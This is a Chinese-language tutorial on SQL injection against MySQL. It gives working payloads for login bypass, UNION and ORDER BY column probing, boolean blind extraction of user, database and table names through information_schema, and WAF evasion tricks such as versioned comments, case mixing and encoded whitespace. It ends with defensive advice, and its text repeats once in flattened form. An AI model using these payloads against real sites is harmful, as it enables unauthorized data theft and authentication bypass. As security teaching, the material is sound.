SQL Injection常用payload及绕过WAF
字数 809 2025-08-20 18:17:07

SQL注入攻击技术详解:Payload与WAF绕过方法

一、SQL注入的安全隐患

SQL注入漏洞可能导致以下严重后果:

  • 数据库信息全部被窃取
  • 数据库内容被篡改
  • 登录认证被绕过
  • 服务器文件被读取或修改
  • 服务器程序被执行

二、SQL注入原理与示例

基本注入原理

典型登录SQL语句:

SELECT * FROM users WHERE username='farmsec' AND password='123456'

攻击者可通过注入用户名或密码字段修改查询逻辑。例如使用用户名:

farmsec' --

实际执行的SQL变为:

SELECT * FROM users WHERE username='farmsec' --' AND password='sadfas'

注释符(--)使密码检查失效,从而绕过认证。

三、SQL注入探测技术

1. 确定字段数量

使用ORDER BY探测:

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

使用UNION SELECT验证:

1' AND 1=2 UNION SELECT 1,2,3--+

2. 报错特征识别

MySQL典型报错信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

四、常用Payload分类

1. 显注Payload

1' AND 1=1#
1' OR 1=1#
/*!500001'*/  -- 报错型,不常用
/^.*1'*/      -- 报错型,不常用

2. 盲注Payload(Burp Intruder适用)

用户信息探测:

1' AND LENGTH(USER())=14#
1' AND SUBSTRING(USER(),1,1)='a'#

数据库信息探测:

1' AND LENGTH(DATABASE())=4#
1' AND SUBSTRING(DATABASE(),1,1)='a'#

五、分步注入技术

1. 注入库名

查询数据库数量:

1' AND (SELECT COUNT(schema_name) FROM information_schema.schemata)=6#

查询第一个库名长度:

1' AND LENGTH((SELECT schema_name FROM information_schema.schemata LIMIT 0,1))=18#

LIMIT用法:

  • LIMIT 0,1:第一行
  • LIMIT 0,2:前两行
  • LIMIT 1,1:第二行
  • LIMIT 2,3:第三到第五行

查询第一个库名字符:

1' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='i'#

或使用ASCII码:

1' AND ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))=105#

2. 注入表信息

查询指定库中的表数量:

1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2#

六、WAF绕过技术

  1. 注释混淆:使用/*!50000*/等特殊注释
  2. 编码混淆:使用十六进制、URL编码等
  3. 大小写混合:如SeLeCt代替select
  4. 空白符替换:使用%09(制表符)、%0A(换行)等
  5. 等价函数替换:如用MID()代替SUBSTRING()
  6. 内联注释/*!SELECT*/形式

七、防御建议

  1. 使用参数化查询(预编译语句)
  2. 实施最小权限原则
  3. 对输入进行严格过滤和验证
  4. 使用Web应用防火墙(WAF)
  5. 定期进行安全审计和渗透测试
  6. 错误信息处理:不显示详细数据库错误

通过掌握这些SQL注入技术和防御方法,安全人员可以更好地评估和保护Web应用安全。

SQL注入攻击技术详解:Payload与WAF绕过方法 一、SQL注入的安全隐患 SQL注入漏洞可能导致以下严重后果: 数据库信息全部被窃取 数据库内容被篡改 登录认证被绕过 服务器文件被读取或修改 服务器程序被执行 二、SQL注入原理与示例 基本注入原理 典型登录SQL语句: 攻击者可通过注入用户名或密码字段修改查询逻辑。例如使用用户名: 实际执行的SQL变为: 注释符(--)使密码检查失效,从而绕过认证。 三、SQL注入探测技术 1. 确定字段数量 使用 ORDER BY 探测: 使用UNION SELECT验证: 2. 报错特征识别 MySQL典型报错信息: 四、常用Payload分类 1. 显注Payload 2. 盲注Payload(Burp Intruder适用) 用户信息探测: 数据库信息探测: 五、分步注入技术 1. 注入库名 查询数据库数量: 查询第一个库名长度: LIMIT用法: LIMIT 0,1:第一行 LIMIT 0,2:前两行 LIMIT 1,1:第二行 LIMIT 2,3:第三到第五行 查询第一个库名字符: 或使用ASCII码: 2. 注入表信息 查询指定库中的表数量: 六、WAF绕过技术 注释混淆 :使用 /*!50000*/ 等特殊注释 编码混淆 :使用十六进制、URL编码等 大小写混合 :如 SeLeCt 代替 select 空白符替换 :使用 %09 (制表符)、 %0A (换行)等 等价函数替换 :如用 MID() 代替 SUBSTRING() 内联注释 : /*!SELECT*/ 形式 七、防御建议 使用参数化查询(预编译语句) 实施最小权限原则 对输入进行严格过滤和验证 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 错误信息处理:不显示详细数据库错误 通过掌握这些SQL注入技术和防御方法,安全人员可以更好地评估和保护Web应用安全。